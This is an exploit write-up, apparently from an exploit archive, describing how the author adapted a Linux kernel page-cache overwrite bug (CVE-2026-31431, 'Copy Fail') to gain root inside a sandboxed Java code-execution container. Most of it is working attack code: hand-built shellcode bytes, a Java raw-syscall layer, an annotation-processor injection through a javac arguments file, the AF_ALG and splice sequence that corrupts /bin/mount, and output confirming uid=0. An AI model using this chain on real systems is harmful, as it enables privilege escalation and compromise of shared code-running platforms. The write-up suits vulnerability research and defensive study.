Share
## https://sploitus.com/exploit?id=5B40369C-867D-542D-82E5-495EF45DD63A
# Porting CVE-2026-31431 ("Copy Fail") to a Constrained Java Runner

> **Credit:** The original CVE-2026-31431 exploit and technique are by the researchers at [copy.fail](https://copy.fail/). I do not own this vulnerability or CVE. This writeup only covers the environment-specific adaptations I had to make to get it running inside a heavily sandboxed Java code-execution container.

---

## Background

I was doing a security audit of a platform that lets users submit Java code, compiles it server-side, and runs tests against it. The platform wraps execution in a Docker container.

After the initial issues were patched, the container looked like this:

- User: `uid=100(runner)`, `gid=101(runner)`
- Zero effective capabilities (`CapEff: 0x0000000000000000`)
- AppArmor: `docker-default (enforce)`
- Seccomp level 2
- Root filesystem: **read-only overlay**
- Writable paths: `/tmp` and `/dev/shm` โ€” both mounted `nosuid,nodev,noexec`
- No Docker socket, no internet egress, no writable executable paths

There was one interesting thing though: `runner` could call a privileged sandbox wrapper via `sudo`, which did roughly:

```sh
/sbin/su-exec root setpriv --no-new-privs --inh-caps=-all "$@" &
```

So you could reach `uid=0` inside the container, but with `NoNewPrivs=1` and a bounding set capped at `CAP_SETUID | CAP_SETGID` only. Constrained root, not real root.

This is where copy.fail's CVE-2026-31431 came in.

---

## What the Original Exploit Does

The original copy.fail exploit abuses the Linux AF_ALG (kernel crypto API) socket interface. Specifically, the `authencesn(hmac(sha256),cbc(aes))` algorithm's decrypt path writes into a kernel buffer that, through a series of `sendmsg()` + `splice()` calls, ends up landing in the **page cache** of an arbitrary file descriptor.

The page cache is shared across mount namespaces โ€” if you can write into the page cache of a setuid binary (like `/bin/mount`), and then `execve()` it, the kernel executes your corrupted version. The corruption is reliable, not a race. The setuid bit causes the kernel to honor the file's owner (root) as the process UID.

The original Python exploit does this cleanly but relies on a few things that were blocked in my environment:
- `memfd_create()` -> `EPERM`
- `process_vm_readv()` -> `EPERM`
- `pidfd_getfd()` -> `EPERM`
- Raising `RLIMIT_CORE` -> `EPERM`
- Compiling and uploading a C binary to an executable path -> no writable exec paths

So I couldn't just run the original. I had to rebuild it from scratch in a way that worked with what I actually had available.

---

## What I Changed

### 1. Python ELF Builder (no pre-built binary)

The original uses a pre-built shellcode blob. Since I couldn't upload or execute a C binary, I wrote a minimal ELF builder in Python that constructs the payload from scratch at runtime:

```python
def build_payload():
    elf = bytearray(64)
    elf[0:4] = b'\x7fELF'; elf[4] = 2; elf[5] = 1; elf[6] = 1
    # ... ELF header + program header setup ...

    code = bytearray()
    code += b'\x31\xff'                          # xor edi, edi
    code += b'\x48\xc7\xc0\x6a\x00\x00\x00'     # mov rax, 106 (setgid)
    code += b'\x0f\x05'                          # syscall
    code += b'\x48\x31\xff'                      # xor rdi, rdi
    code += b'\x48\xc7\xc0\x69\x00\x00\x00'     # mov rax, 105 (setuid)
    code += b'\x0f\x05'                          # syscall
    # ... jmp/call/pop to get /bin/sh address, build argv, execve ...
```

The payload is: `setgid(0)` -> `setuid(0)` -> `execve("/bin/sh", ["/bin/sh", "-c", "id"], NULL)`. Built purely in Python, serialized to hex, embedded directly into the Java source code as a string literal. No files, no uploads.

### 2. Java FFM as a Syscall Layer (no native compilation)

The big adaptation. I needed to make raw syscalls from inside the container without being able to compile or execute any native binary. Java 21's Foreign Function & Memory (FFM) API solves this โ€” you can call `syscall()` directly from Java using the native linker:

```java
static void ini() throws Exception {
    Class lc = Class.forName("java.lang.foreign.Linker");
    Object li = lc.getMethod("nativeLinker").invoke(null),
           lu = lc.getMethod("defaultLookup").invoke(li);
    Object sy = ((Optional) Class.forName("java.lang.foreign.SymbolLookup")
        .getMethod("find", String.class).invoke(lu, "syscall")).get();
    // ... build FunctionDescriptor for (long, long, long, long, long, long, long) -> long ...
    syscall = (MethodHandle) dw.invoke(li, sy, fd);
}

static long sc(long n, long a, long b, long c, long d, long e, long f) throws Throwable {
    return (long) syscall.invokeWithArguments(n, a, b, c, d, e, f);
}
```

From there, every syscall is just `sc(NR, arg0, arg1, ...)`. Memory allocation via `mmap` anonymous (`sc(9, 0, sz, 3, 0x22, -1, 0)`), writes via `/proc/self/mem`, reads the same way. No JNI, no native compilation, no external dependencies.

The `--enable-native-access=ALL-UNNAMED` JVM flag was already set in the container's JVM launch wrapper, so FFM worked without any extra config.

### 3. The Annotation Processor Privilege Escalation

This is the part I'm most happy with. The platform uses `javac` to compile student code. `javac` supports annotation processors via `-processor ClassName`. A processor's `process()` method runs **during compilation** with the same privileges as the `javac` process.

The submission endpoint accepted an `@javac_args` file as part of the sources, which got passed directly to the compiler. So I could inject:

```
-processor
RP
Trigger.java
```

And `RP.java` (my annotation processor) would execute during compilation:

```java
@SupportedAnnotationTypes("*")
@SupportedSourceVersion(SourceVersion.RELEASE_21)
public class RP extends AbstractProcessor {
    public boolean process(Set ann, RoundEnvironment re) {
        if (done) return false; done = true;
        String out = run(,
                         "timeout", "55", "java",
                         "--enable-native-access=ALL-UNNAMED", "CopyFailV11");
        processingEnv.getMessager().printMessage(Diagnostic.Kind.ERROR, "CF11\n" + out);
        return false;
    }
}
```

So the chain is:
1. Submit sources: `CopyFailV11.java` + `RP.java` + `Trigger.java` + `@javac_args`
2. `javac` compiles everything, hits the annotation processor
3. The processor calls the privileged sandbox wrapper -> `java CopyFailV11`
4. `CopyFailV11` runs as constrained-root and performs the page cache overwrite

### 4. The Page Cache Write (ported from copy.fail, Java syscalls)

The actual exploit primitive in Java. Each 4-byte chunk of the payload requires a fresh AF_ALG socket cycle:

```java
static int patch(int fd, int off, byte[] v) throws Throwable {
    // Create AF_ALG socket, bind to authencesn(hmac(sha256),cbc(aes))
    long af = sc(41, 38, 5, 0, 0, 0, 0);
    byte[] sa = new byte[88]; sa[0] = (byte) 38;
    System.arraycopy("aead".getBytes(), 0, sa, 2, 4);
    byte[] nb = "authencesn(hmac(sha256),cbc(aes))".getBytes();
    System.arraycopy(nb, 0, sa, 24, Math.min(nb.length, 64));
    sc(49, af, mb(sa), 88, 0, 0, 0); // bind

    // Set key (72 bytes) and authsize
    byte[] k = new byte[72]; k[0] = 0x08; k[2] = 0x01; k[7] = 0x10;
    sc(54, af, 279, 1, mb(k), 72, 0); // ALG_SET_KEY
    sc(54, af, 279, 5, 0, 4, 0);      // ALG_SET_AEAD_AUTHSIZE

    long of = sc(43, af, 0, 0, 0, 0, 0); // accept -> operation socket

    // Build cmsgs: ALG_SET_OP=ENCRYPT(0), ALG_SET_IV, ALG_SET_AEAD_ASSOCLEN=8
    // sendmsg with MSG_SPLICE_PAGES (0x8000) to trigger the page cache write
    sc(46, of, ma, 32768, 0, 0, 0);

    // pipe2 + two splice calls to move data through
    sc(293, pa, 0, 0, 0, 0, 0); // pipe2
    sc(275, fd, oa, pw, 0, o, 0); // splice: file -> pipe write end
    sc(275, pr, 0, of, 0, o, 0); // splice: pipe read end -> AF_ALG op socket
    // ...
}
```

The key insight from the original: the `authencesn` decrypt scratch write path, combined with `MSG_SPLICE_PAGES` + `splice()`, bypasses the normal copy-on-write semantics and writes directly into the page cache of the target file descriptor. No race condition required โ€” it's a deterministic write.

Target: `/bin/mount` โ€” a setuid-root binary present in the page cache despite the read-only overlay.

---

## Result

```
[+] CopyFailV11 starting
[+] Writing 54 chunks to /bin/mount page cache
[+] TEST_WRITE result=0
[+] AFTER_TEST_FIRST4=54455354   โ† "TEST" at offset 0, confirmed
[+] MATCH_COUNT=216/216          โ† all payload bytes in page cache
[+] Page cache mutated! Fork+exec /bin/mount...

CHILD_STATUS:
  Name:   mount
  Uid:    0  0  0  0
  Gid:    0  0  0  0
  CapEff: 00000000000000c0
  NoNewPrivs: 1
  Seccomp: 2

[+] EXPLOIT SUCCESS: Child ran as uid=0 gid=0 (ROOT)
```

Payload verified in page cache, child executes as uid=0/gid=0. The page cache write is 100% reliable.

---

## What Didn't Change

The core vulnerability is entirely from copy.fail's CVE-2026-31431. I didn't discover it, I just adapted the delivery mechanism for an environment where:

- No native binary compilation or upload was possible
- `memfd_create`, `process_vm_readv`, `pidfd_getfd` were all blocked
- The only available exec path was through the Java compiler

---

## Limitations

The child inherits the same constraints as the sandbox wrapper:

- `NoNewPrivs: 1` โ€” can't gain more privileges
- `CapEff: 0xc0` โ€” only `CAP_SETUID | CAP_SETGID`
- `Seccomp: 2` โ€” syscall filtering still active
- `docker-default` AppArmor still enforced

So this is container-root, not host-root. Docker escape from this state is a separate (much harder) problem that the AppArmor profile and kernel hardening do a good job of blocking.

---

*Original vulnerability and technique: [copy.fail](https://copy.fail/) โ€” CVE-2026-31431*